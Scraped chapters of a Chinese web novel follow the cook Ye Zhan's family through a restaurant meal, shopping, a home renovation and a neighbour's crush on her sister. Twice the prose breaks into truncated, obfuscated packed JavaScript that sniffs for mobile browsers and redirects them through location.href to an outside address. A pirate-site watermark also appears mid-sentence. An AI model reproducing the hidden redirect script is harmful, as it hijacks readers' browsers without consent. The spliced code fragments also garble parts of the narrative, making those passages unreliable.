若是招赘,非但没有嫁妆,赘婿还得去阮家生活,最多阮家给何翠兰一笔钱,算是买断她儿子。 “那你可有人选?”宓凤娘闲闲问,打算再多探听,万一是媒人中间传话传岔了呢? “倒是有几个。”阮阿婶不好意思得将竹篮子左手换右手,“其中有个张家儿郎,穿着齐整,嘴甜得很,他爹娘又殷勤,这还只聊了个开头就很热情,说是家里儿子多,只能大儿子招赘。那户人家隔三岔五就来我家帮忙,拦都拦不住。” 要不是她女儿三番五次瞧不上那家人,说不定两家都已经下定了。 合着何翠兰没被骗? 那她为什么对外宣称是娶儿媳妇呢? 宓凤娘对自己的敌人那是了如指掌,一下就明白了过来:何翠兰想骗阮家。 肯定是在炭场巷这边宣称儿子娶妻,跟阮家说是入赘, 到时候喜事在外面办,就说给儿子在外面赁了院子,再把儿子入赘过去,要么是礼成第二天一口咬定是弄错了,要么是等生了孙儿再嚷嚷着要还宗。 好啊!一开始以为她要吃绝户,没想到还要再加一层蒙骗。 宓凤娘越想越生气,再看手里阮阿婶给她多给的一颗澡豆,越想帮帮这可怜人,当即开口:“说起姓张,我巷子里倒有户人家三个儿子,只不过那可不能说给你家女儿。” “哦?为何不可?”阮阿婶果然被勾起了好奇心。 “那户人家杀了三个女婴才得了儿子,宠得三个儿子无法无天,坑蒙拐骗,看着衣饰光鲜说话也人模狗样,似乎见识过不少大场面,但实际没个正经营生,偷钱为生。”宓凤娘回忆着张家人情形,“再兼上他们娘叫何翠兰的,是个出了 名奸诈的说不定前脚入赘后脚就要三代还宗 何翠兰? 阮阿婶吓了一跳这不就是那户人家的名字? 她手里的竹篮差点掉地上又怕是同名同姓特意问一句:“敢问您在哪里住啊?” “炭场巷。”宓凤娘指点她。 阮阿婶这下彻底握不住竹篮了胡乱应付了几句话就转身出去了她要找自家夫君商量找人好好打听下何翠兰的底细要不然差点把女儿一生白白葬送。 沐浴完叶盏便觉得神清气爽宓凤娘也哼着歌擦干了头发。 不知是不是错觉叶盏觉得全家人的肤色集体白了好几个色号。 洗完澡肚子也饿了叶盏便提议去城里的酒楼好好吃一顿。 出了澡堂子往北走到南斜街便是汴京城最有名的乳酪张家 这家店外面欢楼彩门做得很精致只一条不许茶饭量酒博士、闲汉这些人进去兜售生意。 金哥儿笑道:“往日里不许我和玉姐儿进去兜售生意今日咱们偏要堂堂正正踏进他家宝地。” 被门外迎宾的伙计听见当即点头哈腰:“这不是叶金哥嘛。”全然没有从前的轻慢。 又摆上笑脸:“您请进上高座!” 在问清后面都是他家人之后立刻大声喊一声:“叶公子上座!” “叶老爷上座!叶夫人上座!叶家二公子上座!叶家大娘子上座!叶家二娘子上座!叶家三娘子上座!” 好家伙一口气说完这许多连大气都不带多喘一下。 他大声叫座让叶家人上下脸面有光金哥儿原先心头那些不快也荡然无存扇子一展春风得意走了进去。 叶盏看得目瞪口呆原来这就是古代的服务业: 先前有几面之缘就能记住大哥姓名说明记性好、35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017108|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 能屈能伸立刻道歉说明心理素质过硬、 若无其事装作无事招呼需要厚脸皮、 而一口气报座需要强大的肺活量。 这几样缺一不可。 再看酒楼里小二进出有条不紊熟客生客上门一概笑脸相迎便深觉在古代要开酒楼也不只是有厨艺就行。 这管理水平和服务也要跟上甚至 还要比现代苛刻好几倍。 落座点菜,小二又报了菜名,叶盏挥挥手:“你先下去,我们商量好了叫你。 那小二应了一声,摆上了碗盘,又给诸人倒了茶水,才有力见得退了下去。 宓凤娘舍不得银钱,本来想点几碗最便宜的丝鸡面、插肉面、旋索粉几样面食, 可听着隔壁桌点单后小二在大声报:“甲六号桌赵老爷点了白切羊头肉、滴酥水晶鱼脍、旋炙猪皮肉、野鸭肉、蜜煎鹌鹑…… 一口气报了许久才停下来,还未安静下来又大声报:“甲六号桌赵老爷赏银三百文! 所有小二都大喊:“谢赵老爷赏! 那隔壁桌请客的赵老爷高高昂起头,在诸人面前很有面子的样子。 宓凤娘收回目光,便觉得只点面被大声报出来多丢人啊? 她飞快在心里盘算着……丝鸡面十文钱、插肉面八文钱、旋索粉五文钱。 原本想一人一碗丝鸡面,再点个旋索粉当菜,便只花七十五钱就好, 不如给叶大富和自己点旋索粉两份,给女儿们点鸡面,给儿子们点便宜的肉面,花五十六文,再点个最便宜的素菜旋切莴笋四文,一个甜品柿膏儿四文。 总管花六十四,既比第一种方案节约,又能有一长串菜名听上去有面子。 可她点完菜,叶盏又接过单子,一口气点了蜜饯雕花、郑家油饼、点羊头、葱泼兔、酥蜜食等拉拉杂杂一桌子。 唱单的店小二嗓音更洪亮几分。 宓凤娘一边昂头挺胸觉得大有面子,一边听得心痛。矛盾让她脸上表情一度有些痛苦。 等点了酒,好容易抓住一个点便开始跟店里讲价。 原来一贯等于多少银钱在民间各不相同。官陌是770文为一贯,民间说的“足陌则是1000文。 到鱼肉菜行时720文算一贯,雇奴婢、买虫蚁则是680文一贯,不同行会有不同规则。 这家店里卖的酒一贯是六百文。 宓凤娘立刻抓住了这个漏洞:“你说我们全家每人一杯酒是一贯四一①,我还当是一百五十文,谁知道你说的一贯四一是二百五十文,这不是讹诈吗? 她坚持要算二百五十文酒钱。 叶盏摇摇头,赶紧悄悄扯了扯宓凤娘袖子:“娘,算了。 女儿阻拦,宓凤娘才算作罢, 可心里暗暗想,一会要尝尝这家店滋味如何,它最好好吃,不然,哼! 玉姐儿则专心致志在等上菜:那蜜饯雕花、郑家油饼、点羊头、葱泼兔、酥蜜食一听就好吃,也不知道是什么滋味? 作者有话要说 ①:四一,四分之一的意思,古代对分数的表达方法。 今天睡得晚,加更一章,明天晚上九点见。 第 32 章 凉拌羊头肉 “上菜喽!”就在玉姐儿望眼欲穿之际,茶饭量酒博士终于端着饭菜出现了。 玉姐儿拿到的丝鸡面,类似于后世的鸡丝面,雪白鸡胸肉撕成细丝,混合着面条,上面还撒了嫩绿的荆芥和香葱碎。 玉姐儿跟小二要了调料,加了一勺香醋,又加了一勺深红色的茱萸辣油,看着碗里雪白的面汤上漂浮着红油点点,这才心满意足拿起筷子搅动面条。 眼看着每一根面条都沾染上了调料才高高挑起一根放进嘴里。 醋香、茱萸的辣、鸡丝的香、面条的韧,不同口感、味道混合在嘴里,让她满意得一时说不出话来。 叶盏端起一碗旋索粉,将自己的插肉面让给叶大富。 这旋索粉倒不错,有点像后世的宽粉,吃起来肥厚油润,做得很入味,能吃出花椒香气,还有满口呛过油的蒜香,可见店家很下了一番功夫。 银哥儿的是便宜的八文钱插肉面,却还记得在吃前给玉姐儿挑一筷子“也多尝一种味道。” 玉姐儿便又吃了一口插肉面,面条差不多,不同的是里面的大肉。 煮得烂烂软软的大块五花肉被切成薄片,一片片薄薄摊在面条上,底层被面汤浸泡着,看着就水润润的。 吃进嘴里五花肉的肥肉和瘦肉一起被嚼烂,肥肉丰腴,一下肥油就流得满口,正好适合下面。 叶大富则举了一瓣蒜:“吃面要吃蒜。”说罢边递给了宓凤娘,自己又剥了起来。 宓凤娘将蒜推远,嫌弃:“不要。” 她要尝尝蜜饯雕花呢,伸出指尖,闲闲拈一枚酸梅, 宓凤娘自忖刚辞的姿态很优雅,与时常进出高档酒楼的夫人们也没什么不同。 她抿嘴笑了笑,对自己很满意,这才仔细打量手里的酸梅。 梅子是雕刻过的,上面雕刻了个“福”字,宓凤娘一下就高兴起来:“这意头好。” 送进嘴里含上一含,酸酸甜甜,刺激得人嘴里酸水都要出来了。 宓凤娘便端了酒盅,打算美美抿上一口酒。 却被叶璃接过酒盅:“娘,空腹不可饮酒。” “好好好。听你的。”宓凤娘放下酒盅,说来也好笑,儿女众多,她最怕的不是踏实能干的叶盏,也不是脾气暴躁的叶玉,而 是最小的叶璃。 这时热食也陆续上来了,宓凤娘赶紧夹一块葱泼兔堵住小女儿嘴。 这葱泼兔表面撒了一层葱丝,还能依稀看到热油泼过的痕迹,应当是起锅后撒葱丝又泼了一层热油。 一品尝果然热油已经最大限度把葱丝的香气激发了出来,葱香十足。 兔肉被切成小块,尝一口,肉质紧致,肉汁丰盈,纤维感十足,加入的葱油正好压住了膻味。 再仔细一尝,锅气十足,感觉葱油的香气更加复合,还是叶盏指出了端倪:“葱油加了两遍,第一遍是用小火熬成的葱油。” 家人顺着她的手指看过去,果然看到盘内有已被炼化成黑色的葱叶。 “还是妹妹是内行人,我们外行就只会看热闹。”金哥儿称赞妹妹。 觉得不过瘾,叫茶饭量酒博士去买几个郑家油饼。 那博士恭维:“还是叶大少懂吃,这满城的油饼最好吃的便是郑家的。” 门口就有娘子们提着竹篮等着里头叫菜的,一问,果然有郑家油饼。 金哥儿付了钱,取了油汪汪的油饼,用随身小刀对半剖开,再将葱泼兔铺在饼上,最后合上油饼,递给宓凤娘:“娘,尝尝这个。” 宓凤娘将信将疑尝了一口,果然油炸锅的油饼一口油,搭配着葱泼兔解腻,油饼本身的多油感又能中和兔子肥肉不足的缺陷。 金哥儿又给家人分别做了几个油饼夹肉:“尝尝。” 玉姐儿吃了好几口,都快咬到自己手指了,一边含含糊糊:“大哥果然是懂行的。” “回头我们食肆扩大时,请大哥做我们的相爷,一来参谋菜品搭配,二来也帮我们推荐给城里那些讲究吃穿的主。”叶盏笑眯眯应和。 “那是自然。”金哥儿一口应下。 压轴大菜是一道凉拌羊头肉。 虽然托叶盏的光叶家人吃了几次羊肉,可看到羊肉还是兴奋。 “这可是福宁殿官家最爱的羊肉呢。”小二介绍菜名时就已经着重介绍。 店里这道菜是将羊头卤熟后再放凉切块, 后厨的刀工很好,将羊肉片片得很薄,叶盏随手夹起一块对着日影打量,说薄如蝉翼有点夸张,但对着光能看透,可见手艺不容小觑。 她 在心里感慨,这刀工放在现代也能胜任大饭店厨师,可见古人未必不如今人。 羊头肉片冷却后,粉红褐色的瘦肉和淡黄的肉筋互相咬在了一起,越发紧密。 吃进嘴里后两种风味便都能一起尝到:肉筋又脆又柔,羊肉肥美,兼顾了两者。 叶盏觉得很弹牙,瘦肉和肥肉形成一个恰到好处的平衡, 每一口都是肉香,偶然咬到脆骨嘎嘣脆,还有一种说不出的奶香味,后味很是醇厚。闭上眼睛,仿佛置身天苍苍野茫茫的草原,吃完让人向往自由和热烈。 怪不得大宋上下都追捧羊肉,的确事出有因。 一家人对着各色美食大快朵颐,最后又上了一道酥蜜食做甜点。 这酥蜜食是油炸糕裹了一层蜂蜜, 叶盏作为现代人,从健康的角度对这种高油高糖的热量炸弹敬而远之,打算清清静静喝一口茶水作罢,可是叶家人各个都很喜欢这道甜点。 古代蜂蜜和油炸都算是稀罕物件,因此百姓下馆子最喜欢点油炸和高糖食品。 金黄色的浓稠蜂蜜渗出,裹满了油炸糕,唇齿留香。 叶家人吃得眉飞色舞,叶盏记在心里,便决定以后自家做菜时也记住这一点,在菜单上多加点古人喜欢的菜品。 吃完饭,一家人各个跺着步子往外走,这时候都吃饱了,走路慢慢。 慢慢踱步到东十字大街买些日常用品。 叶盏决定拿钱买些家具等物,既然暂时搬不了家,就进行改造,把居住环境整理得舒适些,而且家具这些软装物,以后搬家也可以带走,不算是无用功。 东十字大街很热闹,店铺众多,叶大富给儿女们介绍:“要等晚上更热闹呢,这里有鬼市,五更开始,到处点着油灯,星星点点就如星河,有卖领抹花环,有卖挂画衣服的,还有卖古董的…… 说完古董两字,他忽然发现自己失口,赶紧打量女儿神色,生怕被发现又在外面倒卖“古董。 却见叶盏盯着他,似笑非笑:“爹,我让你扔的东西,你可扔了? 事已至此,瞒是瞒不住了,叶大富揉揉鼻子:“有的能当寻常用具卖,有的却做得太旧了卖不出去,我送当铺了。 “之后呢?叶盏好整以暇。 “都是活当,我拿了一笔钱,过两天就又去当铺当回来了。” 就知道他老人家不会轻言放弃。 “我虽然来这里摆过摊,但一件都没没有卖出去,我只好又送回去了!”叶大富对天发誓。 叶盏听得脑壳疼,合着您老人家拿当铺当超市存包柜呢? 叶大富也很坦然:“后来有次我缺钱,就又赎出来,卖了一件,给你娘买了一壶酒,过两天又拿到了当铺全部当出去了!” “那当铺还……接待您吗?”比起责备爹,叶盏现在更感兴趣他老人家有没有信用破产,荣登当铺的黑名单。 “当然还能去。”叶大富踌躇满志,“我又不傻,我每次去的都是不同当铺。” “再说了,我哪里能叫当东西,那叫玩弄当铺于鼓掌间。” “当铺拿穷人当猪狗,我这么玩就是拿当铺当猪狗。”叶大富越吹越离谱。 叶盏不得不佩服,这拆东西补西墙过桥贷款、灵活抵押资产套现的野路子被他老人玩得出神入化。晚生几千年他一定是一名叱咤风云的优秀金融人才。 警示过爹之后,叶盏又继续逛街,她打算买各种用具。 金哥儿和银哥儿却不让妹妹们掏钱了:“刚才吃饭和沐浴都是妹妹请客,已经大不妥当,哪里有当哥哥们的这般厚脸皮的?” 执意要买。 给叶盏买了一面海棠花带环铜镜,给玉姐儿买一个青白釉粉盒。 就连叶璃都有志气,买了几个上了红漆做的箸瓶送给叶盏:“姐姐们开店,箸瓶总是用得着的。” 箸瓶就是后世的筷子筒,砍掉青竹一段,晒干后上清漆,专门盛放筷子。 叶盏开店,当然店里有箸瓶(筷筒)、渣斗(吐骨头的盘)、止箸(筷托)等物,只不过都是最简单的青竹和枣木做成,没有这种高档货。 她谢过哥哥妹妹,拿起店里银鎏金云龙纹箸瓶打量。 宓凤娘拉着她就要走:“冤家,难道要在食肆里摆这样贵重的物件?” 那可是银鎏金,买回来就要昼夜盯着,万一没看住被人顺走可如何是好? 叶盏还真想在店里摆放:“娘,人家酒楼里都是银筷银盘,有的店里摆放的银餐具动辄白两银子,也没见谁偷走。①” 汴京大部分百姓有一种天然的自在感,有点像古书里遵循周礼的君子,怡然自得,很松弛,不愧是当今世界第一大城市市民。 倒是叶家两口子,先是遇上了拐子,又是在寻女过程中受尽坑蒙拐骗,所以丢了这份松弛感。 “反正不行。宓凤娘坚持。 叶盏便也作罢,反正她目前还买不起这么名贵的银器,等以后开酒楼时再布置也行。 宓凤娘为了打消女儿的念头,索性拉着她进了一家冠梳头面店②,要给女儿们买首饰。 拿起一个鎏金银簪花手镯:“回头你们姐几个出嫁一人一对,我和你爹都存着钱呢。 看了看女儿头上梳着的简简单单的双翻髻,非要给两个女儿买时下流行的高髻和懒梳妆。 一会又要买两对鱼鳃骨磨片如今唤作“鱼媚子的脸上贴花装扮女儿。 好容易拉着她从首饰店出来,叶大富早捧着一份瓶瓶罐罐在门口:“孩他娘,我买了杓、注子、玉壶春瓶,回去服侍你喝酒。 都是喝酒的酒器,宓凤娘果然高兴,摸着木杓:“花了多少银钱? “钱都是小意思,你喜欢才最重要。 鹅小说更新,记住域名qiexs?(请来企 鹅小说 看最新章节 完整章节)叶大富看着妻子笑得如少年郎一般炙热。 叶盏和玉姐儿双双对视一眼,同时双手抱臂摸着大臂上起来的一层鸡皮疙瘩,快步就往相反方向退开:爹娘恩爱起来,有一种不顾旁观者死活的美。 叶盏往后一退,却不想踩到了什么,且撞到了硬物。 她扭身回头,却看见一张熟悉的脸庞:裴大人。 对方身着便服,青布直裰,腰间挂一个羊脂白玉玉佩,一副温润如玉的富家公子模样,绕是谁都不会把他与开封府官员联系到一起。 “裴……叶盏要脱口而出裴大人三字,却见裴昭冲她挑挑眉,食指放在唇边,做出个嘘的动作。 叶盏声音熄了下去,顿上一顿才想起本地人的习惯称呼他:“裴公子。 裴昭点点头,拱拱手算是行礼:“叶娘子。 叶盏头有点疼,她伸手摸摸头,有点疼,这才顾上打量刚才她撞到的地方。 那一后退,非但踩到了裴大人的脚,还撞到了裴大人胸膛。 叶盏摸头的手不好意思落下,头骨这么硬都发疼,那裴大人 胸膛肯定更加疼痛:“对不住。” “是我没看清。”裴昭还是眉毛都不皱一下似乎一点都没放在心上“我要进去迈步向前你要出来没看后面一来一去两人都有股往前的劲头撞上也无可避免。” 小裴大人很有逻辑嘛叶盏摸着脑壳想似乎他是开封府办案的官员怪不得。只不过开封府办案有没有遇到展昭呢? 裴昭原本解释完就打算继续往前走可看眼前叶盏摸着脑壳似乎在神游天外。 他一时担心真撞坏了人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017109|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家又觉她站在那里发呆的摸样似曾相识想了想六七岁时翁翁给他买了一对磨合乐里面的女童磨合乐就如叶盏一般柳叶眉、俏皮简单的双翻髻嘟着嘴似乎在发呆。 这么想着唇角就无意间带了一抹笑目光也关切看向叶盏揉着脑袋的手:“叶娘子可无事?” “无事无事。”叶盏意识到裴昭可能误会了赶紧放下手“大不裴公子您先忙。” 裴昭冲她点点头却不急着走:“倘若后续头晕发呕一定要去看郎中诊金我来付。” 叶盏哭笑不得难道她会脑震荡不成? 别人跌倒必然会有武功高强的男主拦腰抱住自己被撞就只能去医馆复查?看来是没穿成主角命运的荒谬让叶盏好笑:“多谢您先忙我先走了。” 说完拔腿就走。 裴昭看了一眼她的背影。 “啧啧啧少爷您也不多说两句话?”大斧上来凑趣明明撞到了个好美貌的小娘子。 “那是从前吃了她家一碗面的老板娘。”鸣镝倒记性好“她家面好吃。” 裴昭没当回事那天忙着追案情两个长随最多草草吃了几口囫囵咽了能品出什么滋味? “办正事要紧走吧。”他拔腿就走把两个长随甩在身后却还记得甩下一句“老板不是老板娘。” 谁知询问过嫌犯邻居 叶大富看中了古董摊门口一个据说是唐时的莲花式无盖奁式瓷香炉正用自己丰富的专业知识砍价呢。 叶家人便在旁边等候坐在旁边茶水摊上喝一口粗茶解暑。正好遇见赵夫人和儿子。 赵夫人拉着叶盏的手喜欢得 什么似得:“好孩子,是该歇歇,天天做工多累啊。” 赵夫人一贯对叶家人很亲热,时不时就打发儿子给叶家送她拿手的笋肉馒头过来。 自打认为女儿能月赚三十两银子之后宓凤娘对赵小七就没那么热情了,不过赵家还是在她的待考察名单上,因此对赵小七也还算周到:“小七的学堂今日休沐?” 两个人被家长簇拥在中间,一个美貌伶俐,一个身形修长,本就有些金童玉女的意思,偏赵小七忽的脸红,连耳尖都红透了。 “吆,这是相看呢?”大斧嘴快。 裴昭扫了一眼,没说话,却觉得赵小七虽然长了个子,但眉目间稍显稚嫩,还未脱去孩儿气,不像是能做人丈夫的。 “走吧少爷,还有几家证人要看呢。”大斧催促。 鸣镝不满看了大斧一眼,这小子,性子怎么这么糙呢? 采买完东西,叶家人和赵夫人结伴回到了炭场巷。 一路上赵夫人说话不停,宓凤娘也爱凑趣,两人说个不停。 叶盏便出钱买了几垄新瓦,银哥儿趁着晴天上房揭除了破损的瓦片,换了新瓦。 再就是调制了石灰水刷墙,将家里家具都搬运出来,用刷子蘸着石灰水把四壁刷得雪白透亮。 再就是家里捡来的那些垃圾家具,不顾宓凤娘的反对全部扔了, 屋内一空,再用细蜀黍毛扎成的扫把将地面细细打扫了一遍,再泼洒了一遍花露调和的水。 最后换上新买的桌椅。 整个家里焕然一新。 宓凤娘先还因为扔掉了旧家具生气,可等进了门,看见雪白亮堂的墙后惊得许久说不出话来。 再看桌椅,虽然都是最便宜的木头做成,没有雕刻什么图案花样也没有上太多油漆,但看着式样大方简明,散发着淡淡的木头香气,也让人很舒服。 床铺更是换上了新买的围子榻,铺上了干净的被褥。芦花棉絮麻布被外面套着青花布被套,这是叶盏仿照前世被套请姐姐缝制的,为的是方便换洗。 宓凤娘手在围裙上蹭蹭干净,这才敢伸出手去摸被褥,又厚实又暖和,可以想象晚上躺在上面肯定很舒服。 家里的摆设用具也齐全了,上次去陶编修家做寿宴时拿来的铺席盥洗用具也被 叶盏拿了出来,整整齐齐摆在了家里。 她还在窗前搭了个小木桌,上面铺一层粗麻布,放上了买来的香粉、澡豆、牙粉等物,处处散发着植物清香。 房子还是原先那个房子,但家里处处与原先不同。 宓凤娘像是在梦里,半天才冒出一句:“原先我们乡下的老宅就是这么干净。她有很多年不曾见过这么干净整洁的家,自打女儿走失,两口子心力交瘁,越来越懒得打扫房间,也越来越喜欢收集垃圾废物。 叶盏搂住她肩头:“娘,以后我们的日子会越来越好的。 申请来的公租房离炭场巷不远,但毕竟不能时时守着,银哥儿担心一家老小都是女娘,出现上次雨夜里坏人藏身的事,便打算给妹妹们抱一条小狗。 据说那小狗是从火场里抢救出来的,当时银哥儿去屋里救人时随手还抄起了一窝小狗,最小的小狗乖乖藏在他怀里瑟瑟发抖,那家主人便送给了银哥儿。 军巡铺专门在汴京城里灭火,街坊们感激银哥儿他们在火里出生入死,便时常拿东西相赠,不以为奇。 银哥儿起初怕咬到妹妹们便放在军巡铺寄养,只不过如今要条狗看门他也更放心,便打算叫妹妹们领回去养着。 姐三个听说有小狗,都感觉很新鲜,便去军巡铺领小狗。 走到军巡铺门口,就看见十几个大汉赤着上身在门口操练,露出身上的纹身,各个精强力壮、筋信骨强。 臂膀宽阔得能走马,窄腰捆着一条绣花腰带,有的身上还绣着狰狞图案的神兽,看着龙马精神虎虎生威。 看见来了三个小娘子,便有顽皮吹了声口哨,大喊:“妹儿,瞧我跳水。 说罢就从高处一头跳进了汴河里,激起浪花无数,存心卖弄技艺。 虽然热烈但却不猥琐。 叶璃还小,自然是不用避让,玉姐儿和叶盏两姐妹齐刷刷红了脸,虽然用手遮脸,但该看的是一点都没漏看。 玉姐儿看得目不转睛,嘴上还说:“下回我去给二哥送饭。 作者有话要说 ①出自东京梦华录 ②冠梳头面店:首饰店。 第 33 章 肉松 小狗被留了下来,全身雪白四只脚带黑,所以被宓凤娘取名叫“黑靴”,金哥儿嫌这名字土,宓凤娘却振振有词:“毛靴是有钱人才穿得起的,这小狗命中带靴,可见命里带富贵。” 叶盏:…… 幸好没起名叫富贵来福。 黑靴还小,只到人脚面,有时候追蝴蝶还会把自己带翻,费老大劲爬起来,呜呜咽咽不起身,要宓凤娘扶它起来。 宓凤娘便更加振振有词:“这是富家少爷样,我们家定会托它的福跟着兴旺发达的。” “也不知道它什么时候才能让贼人闻风丧胆。”玉姐儿念叨了一句,“还不如就放在军巡铺里跟着军汉们学点英雄好汉气概。” 玉姐儿最近找到了新的人生方向——遇上空闲日子就去给二哥送饭,风雨无阻。 金哥儿很是吃味:“都是做哥哥,怎得只给银哥儿送?再说,他们军巡铺有现成饭食。” “大锅饭哪里有盏儿亲手做的好吃?”玉姐儿振振有词。 金哥儿岂是这么好糊弄的?跟着去了一次就发现了不对,责骂银哥儿:“那么多汉子,怎么能让妹妹常露面?” 银哥儿是个只知道埋头比武的憨汉,妹妹送饭来他只有高兴的样子,哪里会想到这么多? 又联系起最近兄弟们又是买花插耳边,又是做新衣裳,各个孔雀开屏一样,他原先还不懂,现在一联想吓了一跳。 哥俩达成了统一:“以后玉姐儿不许再去军巡铺。” 宓凤娘却乐见其成:“军巡铺里的汉子都是良家子,随便哪个都比我们家家境强。” 再说玉姐儿脾气暴躁的名声满坊里都知道,没人敢娶,生怕娶回个夜叉儿子挨打。 要是她嫁个军汉,宓凤娘也不用担心女儿家暴夫郎了,毕竟军汉力气在那里呢,就是挨几下子也皮实。 至于军汉家暴女儿……笑话,那两个铁塔似的哥哥难道是摆设?再不济还有叶璃会画符诅咒呢。 物理攻击和精神攻击双层保证,由不得他造次。 有了宓凤娘撑腰玉姐儿就能继续隔三岔五往军巡铺跑了,回家后拉着叶盏咂摸感慨半天。 叶盏倒觉得没什么,玉姐儿还没有男女之思呢,回来点评也不过说些这个大臂全是疙瘩肉、那个 腹部紧绷七八块,还有肩背宽阔能跑马。 连哪个是谁都分不清楚,只是眼上占占便宜,更像小朋友对健身狂魔的惊叹。 再说有银哥儿在那看着,总不会有人欺负玉姐儿。 她便安心让玉姐儿去看,碰上不忙的日子反正她一人也能周全。 叶家全家都没异议,原以为这事就这么过去了,谁知叶盏倒发现一件秘密。 这天赵小七来店里,放下食盒:“我娘做的笋肉馒头,命我送来。 叶盏道了声谢,笋肉馒头是赵夫人拿手菜,常常派儿子给叶家送一份,皮薄馅大笋子清香肉馅饱满,很受她喜欢。 收了馒头,又拿了些枣泥饽饽放进了食盒做回礼才递过去:“这是新出炉点心,趁热请伯父伯母尝尝。 赵小七接过食盒转身就走,可走到门口又回头,没头没脑放下了一盒草药包,说了句:“这是珲春堂的,捣碎外敷,最能治晒伤。 嗯?晒伤? 叶盏还没反应过来。 赵小七就迅速涨红了脸。 看她实在是纳闷,便忍着羞又多说一句:“玉姐儿……晒伤了…… 这句话似乎用尽了他全部的力气,说完后就低着头,拔腿快步迈出了门槛。 叶盏喊他回来他也不回头,装没听见。 不对啊。 叶盏琢磨着:这赵小七管这个干嘛?关他什么事? 想着想着叶盏一拍大腿:好家伙,这小子难道喜欢玉姐儿? 玉姐儿最近时不时顶着大太阳去军巡铺看人家操练,人晒黑了几度不说,连脖颈处、手腕都有蜕皮。 不过她历来是个豪爽性子,从来不觉得这有什么,叶盏提醒她戴帷帽遮阳她还大咧咧说:“等冬日捂些日子就好了。 她自己不在意,叶家上下市井讨生活的,又不觉得这是什么大事,因此无人提起。 没想到倒是赵小七这个邻居看见了。 还特意去珲春堂开了草药,那可是本坊最好的药房呢,价钱不便宜,要找坐诊郎中看病也要排个小半天。 又花时间又花金钱,还细心观察,这明显已经超出了邻居和友情的范围啊! 叶盏再回想起来,赵小七天天殷勤往家门口送东西,又热心帮叶家 出主意上次廉租房就是他指点的平日里家里有什么事他也是来跑腿。 家里都当他这么殷勤是看中了叶盏却没想到是看中了玉姐儿! 叶盏没急着把草药包给玉姐儿而是主动去找了赵小七询问。 赵小七说来就来只不过看见叶盏身后再无旁人眼神明显有些失望。 叶盏闲闲问他:“赵小七你如今多大?” “十三。”或许是还惦记着上次的失言赵小七老老实实回答。 十三啊?比玉姐儿还小两岁呢。 叶盏连连摇头:“好小。” 因着娘是媒婆叶盏便略微知道宋朝男女的婚配年龄。 《宋律》里规定男子十五岁女子十三岁可以结婚订婚三年内必须要结婚。 一般男子结婚的年龄要晚于女子毕竟古人讲究成家再立业她印象中某位大诗人就是到了三十岁才和十八岁的妻子结婚的。 玉姐儿和她十五岁正是适龄女子不管是现在直接结婚还是今年先订婚三年内结婚都很合适。 可赵小七连法定结婚年龄都没有呢。 叶盏摇了头赵小七正巴巴观察她神情呢见她摇头自己先焦急搓起了双手往前走一步像是给自己辩解:“也不小了虚岁十四了。不我生辰在下月下月我就虚岁十五了。一定能配上玉……” 他生生把后面的话吞了下去。 都不用费脑子试探赵小七就露了馅叶盏感慨果然喜欢和咳嗽一样藏不住。 仔细回想赵小七每次看见叶家人都恭恭敬敬称呼:“叶大哥”、“叶二哥”、“叶二姐”却从未称呼过玉姐儿为“叶大姐”见到都是直呼其名可见有好感是蓄谋已久。 想了想将草药包递过去:“你自己递给我姐姐问过她再说。” 宓凤娘先前觉赵小七良配是因为他年纪小家里又有钱赵夫人又和蔼先定下亲等两年嫁过去叶盏能干婆母不作妖定能生活得安稳幸福。 有那么多优点丈夫小两岁便也不是什么缺点反而更方便拿捏。 穷人嘛 可现在随着叶家两女儿赚钱能力大涨宓凤娘对亲事的考量也变了不少。 上回叶盏听她在家里念叨还说除了家境好之外还要找个合心可意两情相悦的呢。 这么一来赵家就不算什么了 再说赵小七还小如今的心意充其量算早恋?说不定过两年科举得中见识到外面的大好天地想法也会变到时候岂不是与玉姐儿成为一段怨偶? 赵小七眼中黯淡接过草药包。 当天他就来店里寻玉姐儿当面给她草药包玉姐儿大大咧咧要收:“多谢。还是你们赵家人活得细致些。” 她晒得跟猴屁股一样偷看军汉就太明显了不是吗? 叶盏以手抵拳咳嗽一声赵小七收到了信号鼓起勇气问玉姐儿:“玉姐儿可能与我去外面有事要问你。” 叶盏踮起脚刚准备看热闹呢就见裴管事走进门来:“叶二姐有事要寻您商量。” 原来昨天叶盏休沐了一天裴老太太没有吃到叶家菜肴便觉得饭桌上的菜都不太满意有些茶饭不思裴管事出来除了买菜便是要解决这个问题 他矢口不提茶饭不思的是裴老太太叶盏便拆着明白装糊涂:“既然这样不如做一瓶鱼松并一瓶肉松。” “鱼松肉松?”裴管事还未听说过这个。 “是将猪肉和鱼肉先放在卤锅里煮熟再用小火慢慢烘烤而成。”叶盏柔声解释。她记得《事林广记》里就记载宋末有肉松了此时应该也有只不过并没有完全普及。 管事点点头。 就见叶盏一对嫩藕般玉手拿着竹木肉夹从卤汤里捞出一大块卤肉。店里本就常年备着卤锅。 卤肉冒着腾腾热气颤巍巍在案板上晃了几晃。 再放进石臼轻轻捣几下肉本就卤了很久所以一进石臼捣一下就立刻碎了叶盏便又开始手搓一边给裴管事解释:“这样手搓出来的要比用石臼全捣的更好吃更为筋道。” 裴管事点点头他虽然不懂菜式制作但也看明白叶娘子的做法更加精细。 叶盏直接将卤肉放入平底锅里不断翻炒。 随着炒制越来越碎渐渐透出温润的色泽。 